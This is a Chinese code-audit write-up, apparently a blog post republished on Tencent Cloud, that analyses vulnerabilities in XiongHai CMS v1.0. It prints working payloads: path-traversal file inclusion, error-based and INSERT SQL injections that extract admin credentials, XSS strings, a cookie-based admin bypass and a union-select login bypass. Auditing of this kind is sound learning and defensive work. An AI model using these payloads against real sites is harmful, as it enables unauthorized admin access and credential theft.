前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >熊海CMS_V1.0: 审计过程与漏洞分析

熊海CMS_V1.0: 审计过程与漏洞分析

作者头像
黑白天安全
发布2021-03-16 10:46:37
2.1K0
发布2021-03-16 10:46:37
举报

菜鸟入坑代码审计,熊海CMS审计学习,开始吧!

漏洞环境&搭建

访问install目录,填写相关配置。

漏洞分析

1. 入口处存在文件包含漏洞

漏洞触发文件为index.php,具体代码如下:

代码语言:javascript
复制
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

file变量通过GET请求r参数获取文件名,经过了addslashes函数。第5行通过三元运算符判断文件是否为空,为空则载入files/index.php文件。反之赋值加载files/file.php(action=file)。这里的代码逻辑限制了只能访问files目录下的php文件(对文件进行了拼接

但这个还是可以有办法利用的,根据上面的分析,只需要解决以下两个问题,即可触发任意文件包含漏洞

  • 1.如何跳出files目录?
  • 2.如何截断拼接的php后缀?

解决方案也很简单,第一点我们使用../即可。第二点的话利用系统文件路径长度的限制来解决。

代码语言:javascript
复制
Windows 259个字节
Linux 4096个字节

扩展&回顾:

常见的截断还有:

  • %00
    • 利用条件:php <= 5.3
  • 0x00
    • POST
  • ?
    • 只能url里面用(GET)
  • #
    • 只能url里面用(GET)

漏洞利用:在根目录下新建一个tao.txt,文件内容为<?php phpinfo();?>

访问?r=../tao.txt......(为了排版,这里省略一手?)

2.UPDATE型SQL注入

漏洞发生在files/content.php文件中

第8行使用了addslashes函数将id进行了转义,而第14行的SQL语句用了单引号保护navid变量,防止SQL注入,但是19行却存在明显的UPDATE型注入,利用报错执行sql命令

漏洞利用:

payload->1 or updatexml(1,concat(0x7e,(select concat(user,0x3a,password) from manage)),1)

文件files/software.php13行也存在同样的问题。语句都一样?

修改访问为?r=software。利用报错注入,跟上面一样。

3. SQL注入

漏洞发生在files/submit.php文件66行处

代码语言:javascript
复制
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
....
//查询用户头像数据
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";

$mail 未作任何过滤,闭合括号,使用报错注入

4. INSERT型SQL注入

漏洞发生在files/submit.php文件中

代码语言:javascript
复制
$tz=$_POST['tz'];   // 第11行
....
$query = "INSERT INTO interaction (         // 121行
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";

由于11行$tzPOST请求传过来,未作任何处理。

漏洞利用:利用思路跟BlueCMS分析里面一样,插入两条数据(内容处显示回显结果)

代码语言:javascript
复制
name=Tao&mail=Tao@qq.com&url=http://www.baidu.com&content=aaaaa测试&cid=1&tz=888',
now()),('1','1','1','Tao','Tao@qq.com','http://www.baidu.com','5','PC',
'127.0.0.1',(select/*Tao*/user()),'Tao

5.两个SQL注入

代码语言:javascript
复制
$type=addslashes($_GET['type']);
$cid=$_POST['cid'];     
if ($type=='comment'){      //75行
$fhlink="/?r=content&cid=".$cid;
$fhname="评论";
$type=1;
}
if ($pltz==1){
....
    if ($type==1){
    $query = "SELECT * FROM content WHERE( id= $cid)";      // SQL注入
    $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
    $wz = mysql_fetch_array($result);
    $title=$wz['title'];
}

这里想要利用SQL注入,首先需要使得pltz==1, 然后使type==1, 而需要使type=1的条件就是type=='comment'。而这个我们是可以控制的,所以产生了此漏洞

代码语言:javascript
复制
if ($type=='download'){             // 86行
    $fhlink="/?r=software&cid=".$cid;
    $fhname="软件评论";
    $type=3;
}
....
....
if ($type==3){
$query = "SELECT * FROM download WHERE( id= $cid)";     // SQL注入
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$wz = mysql_fetch_array($result);
$title=$wz['title'];

以上两个SQL注入漏洞点,产生原因一样。但是有点鸡助,因为使$pltz ==1需要开启新评论/留言通知站长功能。

代码语言:javascript
复制
//查询系统高级设置
$query = "SELECT * FROM seniorset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$advanced = mysql_fetch_array($result);
$lysh=$advanced ['lysh'];//留言审核
$plsh=$advanced ['plsh'];//评论审核
$pltz=$advanced ['pltz'];//新留言评论通知
if ($pltz==1){
......
   if ($type==1){
        $query = "SELECT * FROM content WHERE( id= $cid)";      // SQL注入
     ....
   if ($type==3){
        $query = "SELECT * FROM download WHERE( id= $cid)";     // SQL注入

需要使pltz ==1,才会进入if (type==1)。然后执行sql语句,而

为了方便理解,简洁的整理了一下执行的流程:

代码语言:javascript
复制
$cid=$_POST['cid'];
//查询系统高级设置
$query = "SELECT * FROM seniorset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$advanced = mysql_fetch_array($result);
$lysh=$advanced ['lysh'];//留言审核
$plsh=$advanced ['plsh'];//评论审核
$pltz=$advanced ['pltz'];//新留言评论通知
if ($pltz==1){
....
    if ($type==1){
        $query = "SELECT * FROM content WHERE( id= $cid)";
        $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
        $wz = mysql_fetch_array($result);
    .....
    if ($type==3){
        $query = "SELECT * FROM download WHERE( id= $cid)";
        $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
        $wz = mysql_fetch_array($result);
        $title=$wz['title'];
.....
}

这个漏洞利用的前提$pltz==1,也就是后台高级设置新评论/留言通知站长功能是打开的。(没有打开的话,我们可以想办法打一套组合拳,让其可以利用)

漏洞利用:

代码语言:javascript
复制
name=Tao&mail=Tao1@qq.com&url=http://www.baidu.com&content=Tao测试测试哈哈哈哈&cid=1)+or+updatexml(1,concat(0x7e,(select+concat(user,0x3a,password)+from+manage)),1)#

$type='comment'=1触发

$type='download'=3触发

6. 反射型xss

漏洞触发在files/contact.php文件

代码语言:javascript
复制
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
// 12~15行

$_GET['page']只进行了部分字符转义,其他未作处理就直接输出了。

漏洞触发在files/list.php文件

代码语言:javascript
复制
$yemas=$_GET['page'];
if ($yemas<>""){
$yema=" - 第 $yemas 页";
}else{
$yema="";   
}
// 23~28行

跟上面同理

漏洞触发在files/download.php文件

7.存储型xss

漏洞产生在files/submit.php文件中,昵称未进行处理,便存储到数据库中

代码语言:javascript
复制
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
.....
$content= addslashes(strip_tags($content));//过滤HTML
....
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date
) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now()
)";

在评论区可以提交昵称、邮箱、网址、内容。但是显示评论和留言的地方只显示昵称。所以只有昵称处才存在存储型XSS

payload: Taoo<img src=1 onerror=alert(/Tao/);>

前台文章处

查看后台

8.垂直越权(逻辑漏洞)

漏洞发现在inc/checklogin.php

代码语言:javascript
复制
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;  
}
?>

该代码存在越权访问,这里直接从COOKIE处赋值给user。如果user不为空就可以直接访问

我们通过调试来分析一下后台登陆的执行流程。

首先访问admin目录,默认跳转传参?r=login,也就是下面的执行过程,文件包含admin/files/login.php文件

然后包含数据库连接文件

这后面没有什么(这是正常访问,输入账号密码的流程)。

但是注意我们要利用此漏洞的话,需要修改完cookie后访问admin/?r=index,admin/index.php会包含files文件夹下index.php文件,所以这里实际访问的文件就是admin/files/index.php,文件内容如下

直接就包含inc/checklogin.php

代码语言:javascript
复制
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit; 
}
?>

$_COOKIE['user']不为空就不跳转到?r=login,直接进入后台

还有一点就是,我们修改完cookie,使得$_COOKIE['user']不为空。不一定非要访问admin/?r=index,访问有载入inc/checklogin.php文件都可以

漏洞利用:

记住管理处路劲:http://www.bearsea.com/admin/?r=index

退出管理员,来到登录处。添加cookie值

再次访问后台。没登录也直接进入了后台页面?

9. 后台SQL注入

漏洞产生文件admin/files/login.php

代码语言:javascript
复制
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";

query存在SQL注入,这是user未经过任何处理,直接代入语句中执行导致的

利用方式:

user: 1' or updatexml(1,concat(0x7e,(select concat(user,0x3a,password) from manage)),1)#

登录,返回管理员账号和加密的密码

10. 后台万能密码登录

漏洞产生文件admin/files/login.php

代码语言:javascript
复制
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;   
}

$login 未经过任何处理拼接sql语句,且只进行了密码md5对比。可绕过

payload:

user:-1' union select 1,2,3,'ace1785ac351e22a3d18e594d77a67dd',5,6,7,8 #

password: Tao

11. 后台多处漏洞

后台暂时不审了,下次一定?

结束语

简单的cms审计不难,但漏洞的利用在实战中却需要各种bypass。而一些复杂的cms审计是需要一定的基础的,所以通过简单的cms来锻炼思路很重要。学习审计一些简单的cms,就是为了更好的上手常用的流行cms及框架。

还是那句话慢慢来比较快, 文章中有什么不足和错误的地方还望师傅们指正。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-03-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 菜鸟入坑代码审计,熊海CMS审计学习,开始吧!
  • 漏洞环境&搭建
  • 漏洞分析
    • 1. 入口处存在文件包含漏洞
      • 2.UPDATE型SQL注入
        • 3. SQL注入
          • 4. INSERT型SQL注入
            • 5.两个SQL注入
              • 6. 反射型xss
                • 7.存储型xss
                  • 8.垂直越权(逻辑漏洞)
                    • 9. 后台SQL注入
                      • 10. 后台万能密码登录
                        • 11. 后台多处漏洞
                        • 结束语
                        相关产品与服务
                        代码审计
                        代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档